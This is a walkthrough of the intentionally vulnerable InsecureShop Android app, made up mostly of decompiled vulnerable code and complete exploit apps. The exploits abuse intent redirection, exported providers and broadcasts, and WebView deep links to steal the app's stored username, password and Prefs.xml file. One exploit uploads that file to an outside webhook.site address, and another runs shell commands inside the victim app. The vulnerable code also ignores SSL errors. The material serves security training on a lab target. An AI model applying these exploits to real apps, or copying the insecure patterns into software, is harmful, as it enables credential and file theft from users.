Walkthrough of The InsecureShop Android Vulnerable Application

public final void onLogin(View view) {
if (Util.INSTANCE.verifyUserNamePassword(username, password)) {
    // defining the Prefs
    Prefs prefs = Prefs.INSTANCE;
    Context applicationContext = getApplicationContext();
    Intrinsics.checkExpressionValueIsNotNull(applicationContext, "applicationContext");
    // Adding the username to the Prefs
    prefs.getInstance(applicationContext).setUsername(username);
    Prefs prefs2 = Prefs.INSTANCE;
    Context applicationContext2 = getApplicationContext();
    Intrinsics.checkExpressionValueIsNotNull(applicationContext2, "applicationContext");
    // Adding the password to the Prefs
    prefs2.getInstance(applicationContext2).setPassword(password);
    Util.saveProductList$default(Util.INSTANCE, this, null, 2, null);
    startActivity(new Intent(this, ProductListActivity.class));
    return;
    }
}

public final class WebViewActivity extends AppCompatActivity {
// ...........some code truncated............. 
@Override
public void onCreate(Bundle savedInstanceState) {
    // ...........some code truncated............. 
    Intent intent = getIntent();
    Intrinsics.checkExpressionValueIsNotNull(intent, "intent");
    Uri uri = intent.getData();
    if (uri != null) {
        String data = null;
        data = null;
        // ...........some code truncated............. 
        // Checking if the Path of the URL contains "/web"
        if (StringsKt.equals$default(uri.getPath(), "/web", false, 2, null)) {
            Intent intent2 = getIntent();
            Intrinsics.checkExpressionValueIsNotNull(intent2, "intent");
            Uri data2 = intent2.getData();
            if (data2 != null) {
                data = data2.getQueryParameter("url");
            }
        }
        // ...........some code truncated............. 
        if (data == null) {
            finish();
        }
        webview.loadUrl(data);
        Prefs.INSTANCE.getInstance(this).setData(data);
    }
}
}

public final class WebViewActivity extends AppCompatActivity {
// ...........some code truncated.............
@Override 
public void onCreate(Bundle savedInstanceState) {
    // ...........some code truncated.............
    Intent intent = getIntent();
    Intrinsics.checkExpressionValueIsNotNull(intent, "intent");
    Uri uri = intent.getData();
    if (uri != null) {
        String data = null;
        data = null;
        }
            // ...........some code truncated............. 
        // Checking if the Path of the URL contains "/webview"
        else if (StringsKt.equals$default(uri.getPath(), "/webview", false, 2, null)) {
            Intent intent3 = getIntent();
            Intrinsics.checkExpressionValueIsNotNull(intent3, "intent");
            Uri data3 = intent3.getData();
            if (data3 == null) {
                Intrinsics.throwNpe();
            }
            String queryParameter = data3.getQueryParameter("url");
            if (queryParameter == null) {
                Intrinsics.throwNpe();
            }
            Intrinsics.checkExpressionValueIsNotNull(queryParameter, "intent.data!!.getQueryParameter(\"url\")!!");
            if (StringsKt.endsWith$default(queryParameter, "insecureshopapp.com", false, 2, (Object) null)) {
                Intent intent4 = getIntent();
                Intrinsics.checkExpressionValueIsNotNull(intent4, "intent");
                Uri data4 = intent4.getData();
                if (data4 != null) {
                    data = data4.getQueryParameter("url");
                }
            }
        }
        if (data == null) {
            finish();
        }
        webview.loadUrl(data);
        Prefs.INSTANCE.getInstance(this).setData(data);
    }
}
}

public void onCreate(Bundle savedInstanceState) { 
    super.onCreate(savedInstanceState);
    setContentView(C0893R.layout.activity_webview);
    setSupportActionBar((Toolbar) _$_findCachedViewById(C0893R.C0896id.toolbar));
    setTitle(getString(C0893R.string.webview));
    Intent extraIntent = (Intent) getIntent().getParcelableExtra("extra_intent");
    if (extraIntent != null) {
        startActivity(extraIntent);
        finish();
        return;
}

public void onCreate(Bundle savedInstanceState) {
    String data = getIntent().getStringExtra("url");
    if (data == null) {
        data = "https://www.insecureshopapp.com"; 
    }
    webview.loadUrl(data);
    Prefs.INSTANCE.getInstance(this).setData(data);
}

public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    Button IntentButton = (Button) findViewById(R.id.IntentButton);
    // Set a click listener to send the intent
    IntentButton.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View v) {
        // Making an Intent to the PrivateActivity with the extra "url"
            Intent privateActivityIntent = new Intent();
            privateActivityIntent.setClassName("com.insecureshop", "com.insecureshop.PrivateActivity");
            privateActivityIntent.putExtra("url", "https://itsfading.github.io");

        // Passing the whole intent to the extra_intent So we trigger the startActivity in the WebView2Activity class
            Intent webViewIntent = new Intent();
            webViewIntent.setClassName("com.insecureshop", "com.insecureshop.WebView2Activity");
            webViewIntent.putExtra("extra_intent", privateActivityIntent); 
            startActivity(webViewIntent);
        }
    });
}
}

        Intent intent = getIntent();
        Intrinsics.checkExpressionValueIsNotNull(intent, "intent");
        String dataString = intent.getDataString();
        if (!(dataString == null || StringsKt.isBlank(dataString))) {
            Intent intent2 = getIntent();
            Intrinsics.checkExpressionValueIsNotNull(intent2, "intent");
            webview.loadUrl(intent2.getDataString());
            return;
        }

public final class ChooserActivity extends AppCompatActivity {
public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(C0893R.layout.activity_chooser);
    Intent intent = getIntent();
    Intrinsics.checkExpressionValueIsNotNull(intent, "intent");
    if (intent.getExtras() != null) {
        Parcelable parcelableExtra = getIntent().getParcelableExtra("android.intent.extra.STREAM");
        if (parcelableExtra != null) {
            Uri uri = Uri.fromFile(new File(((Uri) parcelableExtra).toString()));
            Intrinsics.checkExpressionValueIsNotNull(uri, "Uri.fromFile(File(uri.toString()))");
            makeTempCopy(uri, getFilename(uri));
            return;
        }
        throw new TypeCastException("null cannot be cast to non-null type android.net.Uri");
    }
}

private final Uri makeTempCopy(Uri fileUri, String original_filename) {
    try {
        StringBuilder sb = new StringBuilder();
        File externalStorageDirectory = Environment.getExternalStorageDirectory();
        Intrinsics.checkExpressionValueIsNotNull(externalStorageDirectory, "Environment.getExternalStorageDirectory()");
        sb.append(externalStorageDirectory.getAbsolutePath());
        sb.append(File.separator);
        sb.append("insecureshop");
        String path = sb.toString();
        File directory = new File(path);
        if (!directory.exists()) {
            directory.mkdirs();
        }
        File fileTemp = new File(path, original_filename);
        fileTemp.createNewFile();
        Uri fromFile = Uri.fromFile(fileTemp);
        InputStream openInputStream = getContentResolver().openInputStream(fileUri);
        OutputStream openOutputStream = getContentResolver().openOutputStream(fromFile);
        byte[] bArr = new byte[8192];
        while (true) {
            Integer len = openInputStream != null ? Integer.valueOf(openInputStream.read(bArr)) : null;
            if (len != null && len.intValue() == -1) {
            }
            if (len != null) {
                int it = len.intValue();
                if (openOutputStream != null) {
                    openOutputStream.write(bArr, 0, it);
                }
            }
        }
    } catch (Exception e) {
        return null;
    }
}

public final String getFilename(Uri uri) {
    Intrinsics.checkParameterIsNotNull(uri, "uri");
    String fileName = null;
    Context context = getApplicationContext();
    String scheme = uri.getScheme();
    if (Intrinsics.areEqual(scheme, "file")) {
        return uri.getLastPathSegment();
    }
    if (!Intrinsics.areEqual(scheme, "content")) {
        return fileName;
    }
    Intrinsics.checkExpressionValueIsNotNull(context, "context");
    Cursor cursor = context.getContentResolver().query(uri, new String[]{"_display_name"}, null, null, null);
    if (cursor == null || cursor.getCount() == 0) {
        return fileName;
    }
    int columnIndex = cursor.getColumnIndexOrThrow("_display_name");
    cursor.moveToFirst();
    return cursor.getString(columnIndex);
}
}

public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    Button TheftofArbitraryFilesButton = (Button) findViewById(R.id.TheftofArbitraryFiles);

    // Set a click listener to send the intent
    TheftofArbitraryFilesButton.setOnClickListener(new View.OnClickListener() {
    @Override
    public void onClick(View v) {
        Intent StealingFile = new Intent();
        // Selecting the ChooserActivity
        StealingFile.setClassName("com.insecureshop", "com.insecureshop.ChooserActivity");
        // Specfiying the Prefs.xml file
        Uri FileName = Uri.parse("/data/data/com.insecureshop/shared_prefs/Prefs.xml");
        // adding the EXTRA_STREAM as an extra to trigger the exported Intent
        StealingFile.putExtra(StealingFile.EXTRA_STREAM, FileName);
        // Starting the Intent
        startActivity(StealingFile);
    }
    });
}
}

public final class CustomReceiver extends BroadcastReceiver {
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
    Bundle extras;
    String stringExtra = (intent == null || (extras = intent.getExtras()) == null) ? null : extras.getString("web_url");
    String str = stringExtra;
    if (!(str == null || StringsKt.isBlank(str))) {
        Intent intent2 = new Intent(context, WebView2Activity.class);
        intent2.putExtra("url", stringExtra);
        if (context != null) {
            context.startActivity(intent2);
        }
    }
}
}

public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(C0893R.layout.activity_about_us);
    // Custom receiver object created
    CustomReceiver customReceiver = new CustomReceiver();
    this.receiver = customReceiver;
    if (customReceiver == null) {
        Intrinsics.throwUninitializedPropertyAccessException("receiver");
    }
    // registering the reciever with a specific Intent
    registerReceiver(customReceiver, new IntentFilter("com.insecureshop.CUSTOM_INTENT"));
}

@Override
public void onDestroy() {
    CustomReceiver customReceiver = this.receiver;
    if (customReceiver == null) {
        Intrinsics.throwUninitializedPropertyAccessException("receiver");
    }
    unregisterReceiver(customReceiver);
    super.onDestroy();
}

public class YourActivity extends AppCompatActivity {

private Context context; // Make sure to initialize this context appropriately
public void insecureBroadcast(View view) {
    // Create an Intent to start the activity
    Intent intent = new Intent();
    intent.setClassName("com.insecureshop", "com.insecureshop.AboutUsActivity");
    startActivity(intent);

    // Delay the broadcast by 1 second
    new Handler(Looper.getMainLooper()).postDelayed(new Runnable() {
        @Override
        public void run() {
            delayedBroadcast();
        }
    }, 1000);
}

private void delayedBroadcast() {
    // Create an Intent for the broadcast
    Intent WebViewintent = new Intent("com.insecureshop.CUSTOM_INTENT");
    WebViewintent.putExtra("web_url", "https://itsfading.github.io");
    
    // Send the broadcast
    if (context != null) {
        context.sendBroadcast(WebViewintent);
    }
}
}

 public final void onSendData(View view) {
    Intrinsics.checkParameterIsNotNull(view, "view");
    String userName = Prefs.INSTANCE.getUsername();
    if (userName == null) {
        Intrinsics.throwNpe();
    }
    String password = Prefs.INSTANCE.getPassword();
    if (password == null) {
        Intrinsics.throwNpe();
    }
    Intent intent = new Intent("com.insecureshop.action.BROADCAST");
    intent.putExtra("username", userName);
    intent.putExtra("password", password);
    sendBroadcast(intent);
    TextView textView = (TextView) _$_findCachedViewById(C0893R.C0896id.textView);
    Intrinsics.checkExpressionValueIsNotNull(textView, "textView");
    textView.setText("InsecureShop is an intentionally designed vulnerable android app built in Kotlin.");
    }

public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    // starting the AboutUs Activity to trigger the sendBroadcast
    Intent triggerBroadCast = new Intent();
    triggerBroadCast.setClassName("com.insecureshop", "com.insecureshop.AboutUsActivity");
    startActivity(triggerBroadCast);

    BroadcastReceiver receiver = new BroadcastReceiver() {
        @Override
        // Once a broadcast received with a specific intent
        public void onReceive(Context context, Intent intent) {
                    // Geting the value from the defined extras
            String username = intent.getStringExtra("username");
            String password = intent.getStringExtra("password");
            Log.d("userName: ", username);
            Log.d("password: ", password);
        }
    };
    // Waiting for any broadcast with this intent "com.insecureshop.action.BROADCAST"
    registerReceiver(receiver, new IntentFilter("com.insecureshop.action.BROADCAST"));
}
}

public final class ProductListActivity extends AppCompatActivity {
    private HashMap _$_findViewCache;
    private final ProductDetailBroadCast productDetailBroadCast = new ProductDetailBroadCast();
    //....................//
    
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        // registring the BroadCast Receiver with the "com.insecureshop.action.PRODUCT_DETAIL" Intent
        registerReceiver(this.productDetailBroadCast, new IntentFilter("com.insecureshop.action.PRODUCT_DETAIL"));
}

public final class ProductDetailBroadCast extends BroadcastReceiver {
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
    Intent webViewIntent = new Intent("com.insecureshop.action.WEBVIEW");
    webViewIntent.putExtra("url", "https://www.insecureshopapp.com/");
    if (context != null) {
        context.startActivity(webViewIntent);
    }
}
}

holder.getMBinding().moreInfo.setOnClickListener(new View.OnClickListener() { // from class: com.insecureshop.ProductAdapter$onBindViewHolder$3
    @Override // android.view.View.OnClickListener
    public final void onClick(View it) {
        Intent intent = new Intent("com.insecureshop.action.PRODUCT_DETAIL");
        intent.putExtra("url", ProductDetail.this.getUrl());
        context.sendBroadcast(intent);
    }
}); 

package com.insecureshopapp.productlistactivityexploit;
public class MainActivity extends AppCompatActivity {
    private Context context;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        BroadcastReceiver receiver = new BroadcastReceiver() {
            @Override
            // Once a broadcast received with a specific intent
            public void onReceive(Context context, Intent intent) {
            // Getting the value from the defined extras
                Intent WebViewintent = new Intent("com.insecureshop.action.WEBVIEW");
                WebViewintent.putExtra("url", "https://itsfading.github.io");
                startActivity(WebViewintent);
            }
    };
    // Waiting for any broadcast with this intent "com.insecureshop.action.PRODUCT_DETAIL"
    registerReceiver(receiver, new IntentFilter("com.insecureshop.action.PRODUCT_DETAIL"));
}
}

public void onCreate(Bundle savedInstanceState) { 
    super.onCreate(savedInstanceState);
    setContentView(C0893R.layout.activity_webview);
    setSupportActionBar((Toolbar) _$_findCachedViewById(C0893R.C0896id.toolbar));
    setTitle(getString(C0893R.string.webview));
    Intent extraIntent = (Intent) getIntent().getParcelableExtra("extra_intent");
    if (extraIntent != null) {
        startActivity(extraIntent);
        finish();
        return;
} 

public class MainActivity extends AppCompatActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    // Once the WebView2Activity Start it will start for us the Activity2 from my app
    // then access the content provider and get the content of the Prefs.xml file and add it to the Intent data
    // finally in the Activity2 we will get the Intent Data and Log it
    Intent FileProviderIntent = new Intent();
    FileProviderIntent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
    FileProviderIntent.setClassName(getPackageName(), "com.insecureshopapp.protectedinsecureprovider.Activity2");
    FileProviderIntent.setData(Uri.parse("content://com.insecureshop.file_provider/root/data/data/com.insecureshop/shared_prefs/Prefs.xml"));

    // Start the Vulnerable Actvity
    Intent WebView2Activity = new Intent();
    WebView2Activity.setClassName("com.insecureshop", "com.insecureshop.WebView2Activity");
    WebView2Activity.putExtra("extra_intent", FileProviderIntent);

    startActivity(WebView2Activity);
}
}

public class Activity2 extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_2);

    try {
        // Get the InputStream from the content URI provided by the Intent
        InputStream inputStream = getContentResolver().openInputStream(getIntent().getData());

        // Convert InputStream to String and log it
        BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
        StringBuilder stringBuilder = new StringBuilder();
        String line;
        while ((line = reader.readLine()) != null) {
            stringBuilder.append(line).append("\n");
        }
        reader.close();

        // Log the content of the file
        Log.d("FileContent", stringBuilder.toString());

    } catch (FileNotFoundException e) {
        Log.e("FileContent", "File not found: " + e.getMessage());
    } catch (IOException e) {
        Log.e("FileContent", "Error reading file: " + e.getMessage());
    }
}
}

public final class InsecureShopProvider extends ContentProvider {
public static final Companion Companion = new Companion(null);
public static final int URI_CODE = 100;
private static UriMatcher uriMatcher;

@Override // android.content.ContentProvider
public boolean onCreate() {
    UriMatcher uriMatcher2 = new UriMatcher(-1);
    uriMatcher = uriMatcher2;
    if (uriMatcher2 == null) {
        return true;
    }
    uriMatcher2.addURI("com.insecureshop.provider", "insecure", 100);
    return true;
}

public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
    Intrinsics.checkParameterIsNotNull(uri, "uri");
    UriMatcher uriMatcher2 = uriMatcher;
    if (uriMatcher2 == null || uriMatcher2.match(uri) != 100) {
        return null;
    }
    MatrixCursor cursor = new MatrixCursor(new String[]{"username", "password"});
    String[] strArr = new String[2];
    String username = Prefs.INSTANCE.getUsername();
    if (username == null) {
        Intrinsics.throwNpe();
    }
    strArr[0] = username;
    String password = Prefs.INSTANCE.getPassword();
    if (password == null) {
        Intrinsics.throwNpe();
    }
    strArr[1] = password;
    cursor.addRow(strArr);
    return cursor;
}
}

public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setResult(-1, getIntent());
    finish();
}

// Activity A (First Activity):
Intent intent = new Intent(this, ActivityB.class);
startActivityForResult(intent, 1);  // Request code 1

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_b);

    // Some operation and preparing the result
    Intent resultIntent = new Intent();
    resultIntent.putExtra("result_key", "Some Result Data");

    // Set result as OK and attach the data
    setResult(RESULT_OK, resultIntent);

    // Finish this activity and return the result
    finish();
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);
    
    if (requestCode == 1) {  // Matching the request code
        if (resultCode == RESULT_OK) {  // Result is OK
            String result = data.getStringExtra("result_key");
            // Handle the result
        } else if (resultCode == RESULT_CANCELED) {
            // Handle cancellation or no result
        }
    }
}

public class MainActivity extends AppCompatActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    
    Intent ResultActivityExploit = new Intent();
    ResultActivityExploit.setClassName("com.insecureshop", "com.insecureshop.ResultActivity");
    ResultActivityExploit.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
    Uri contentUri = Uri.parse("content://com.insecureshop.file_provider/root/data/data/com.insecureshop/shared_prefs/Prefs.xml");
    ResultActivityExploit.setData(contentUri);
    startActivityForResult(ResultActivityExploit, 1);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);

    if (requestCode == 1 && resultCode == RESULT_OK) {
        // Capture the returned data
        Uri returnedUri = data.getData();
        if (returnedUri != null) {
            // Access the content using the returned URI
            try {
                InputStream inputStream = getContentResolver().openInputStream(returnedUri);
                // Do something with the input stream, e.g., display or log the content
                // For example, read the input stream and print to screen
                BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
                String line;
                StringBuilder result = new StringBuilder();
                while ((line = reader.readLine()) != null) {
                    result.append(line).append("\n");
                }
                // Display the content on the screen
                Log.d("Data", result.toString());
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
}
}

package com.insecureshop.util;
public final class CustomWebViewClient extends WebViewClient {
@Override // android.webkit.WebViewClient
public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
    if (handler != null) {
        handler.proceed();
    }
}
} 

public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(C0893R.layout.activity_webview);
    webview.setWebViewClient(new CustomWebViewClient());
    }

public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    try {
        // Read the HTML file from the assets
        BufferedReader reader = new BufferedReader(
                new InputStreamReader(this.getAssets().open("ex.html")));
        StringBuilder stringBuilder = new StringBuilder();
        String line;
        while ((line = reader.readLine()) != null) {
            stringBuilder.append(line).append("\n");
        }
        reader.close();
        String readfile = stringBuilder.toString();

        // Create a new file on the external storage
        File payload = new File(Environment.getExternalStorageDirectory().getAbsolutePath(), "ex.html");
        Log.d("File", payload.toString());
        // Write the content to the new file
        FileOutputStream fos = new FileOutputStream(payload);
        fos.write(readfile.getBytes());
        fos.close();

        // Start the vulnerable WebView activity
        Intent webViewActivityIntent = new Intent("android.intent.action.VIEW");
        webViewActivityIntent.setClassName("com.insecureshop", "com.insecureshop.WebViewActivity");
        webViewActivityIntent.setData(Uri.parse("insecureshop://com.insecureshop/web?url=file://"+payload.toString()));
        startActivity(webViewActivityIntent);

    } catch (IOException e) {
        e.printStackTrace();
    }

    }
}

dependencyResolutionManagement {
repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
repositories {
    google()
    mavenCentral()
    maven { url 'https://jitpack.io' }
    jcenter() // Warning: this repository is going to shut down soon
}
}
rootProject.name = "gotevUploadServiceExploit"
include ':app'

dependencies
{
    implementation 'com.github.gotev.android-upload-service:uploadservice:3.2.3'
}

package com.insecureshopapp.gotevuploadserviceexploit;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import java.io.FileNotFoundException;
import net.gotev.uploadservice.HttpUploadTaskParameters;
import net.gotev.uploadservice.UploadFile;
import net.gotev.uploadservice.UploadTaskParameters;

public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    UploadTaskParameters params = new UploadTaskParameters();
    // Random Id parameter
    params.setId("18888998");
    
    // Any Server URL to receive the local file
    params.setServerUrl("http://webhook.site/4f08c75a-a478-4f6f-93bb-2ee8eba6fa4b");
    try {
        params.addFile(new UploadFile("/data/data/com.insecureshop/shared_prefs/Prefs.xml"));
        Intent intent = new Intent("net.gotev.uploadservice.action.upload");
        intent.setClassName("com.insecureshop", "net.gotev.uploadservice.UploadService");
        intent.putExtra("taskClass", "net.gotev.uploadservice.MultipartUploadTask");
        intent.putExtra("multipartUtf8Charset", true);
        intent.putExtra("httpTaskParameters", new HttpUploadTaskParameters());
        intent.putExtra("taskParameters", params);
        startService(intent);
    } catch (FileNotFoundException e) {
        throw new IllegalStateException(e);
    }
}
}

for (PackageInfo info : getPackageManager().getInstalledPackages(0)) {
    String packageName = info.packageName;
    Intrinsics.checkExpressionValueIsNotNull(packageName, "packageName");
    if (StringsKt.startsWith$default(packageName, "com.insecureshopapp", false, 2, (Object) null)) {
        try {
            Context packageContext = createPackageContext(packageName, 3);
            Intrinsics.checkExpressionValueIsNotNull(packageContext, "packageContext");
            Object value = packageContext.getClassLoader().loadClass("com.insecureshopapp.MainInterface").getMethod("getInstance", Context.class).invoke(null, this);
            Intrinsics.checkExpressionValueIsNotNull(value, "packageContext.classLoad…      .invoke(null, this)");
            Log.d("object_value", value.toString());
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

package com.insecureshopapp;

import android.content.Context;
import android.util.Log;
import android.widget.Toast;
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class MainInterface {
public static Object getInstance(Context context) {
    // Malicious code to be executed
    StringBuilder output = new StringBuilder();
    try { 
        ProcessBuilder processBuilder = new ProcessBuilder("sh", "-c", "whoami;ls /data/data/com.insecureshop/");
        Process process = processBuilder.start();
        BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        String line;
        while ((line = reader.readLine()) != null) {
            output.append(line).append("\n");
        }
        process.waitFor();
        Log.d("MainInterface", "Command Output: " + output.toString());
    }
    catch (Exception e) {
        return null;
    }
    return null;
}
}